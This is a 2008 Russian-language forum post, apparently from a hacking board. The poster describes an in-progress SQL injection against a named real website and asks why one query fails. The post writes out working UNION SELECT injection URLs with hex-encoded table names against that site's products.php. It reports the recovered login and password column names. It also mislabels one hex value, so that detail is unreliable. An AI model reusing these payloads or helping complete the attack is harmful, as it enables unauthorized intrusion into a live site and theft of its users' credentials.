|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Ну а почему тогда tbmember,tblogin не существуют - это не таблицы чтоли ?(.
Кстати, если выполнить как ты сказал hex(abrakadabra), где абракадабра - имя таблицы,то вернёт 'Item comming soon',а если выполнить запрос сразу *хексанутый*, то выведет :
http://www.mooreindhardware.com/products.php?id=-1+union+select+1,2,column_name,4+from+information_ schema.columns+where+table_name=0x74626C5F70686F74 6F67616C6C657279--
0x74626C5F70686F746F67616C6C657279 - это tbl_photogallery.
P.S: При запросе http://www.mooreindhardware.com/products.php?id=-1+union+select+1,2,column_name,4+from+information_ schema.columns+where+table_name=0x74626C6F67696E-- ,где
0x74626C6F67696E - это tbmember, вернуло поля
login_id,login,password,user_name,access_level
Но при запросе
http://www.mooreindhardware.com/products.php?id=-1+union+select+1,2,user_name,4+from+tblogin--
Выдаёт,что таблица не найдена. Как тут быть ?( В Hex пробывал
Последний раз редактировалось Велемир; 24.04.2008 в 19:43..
|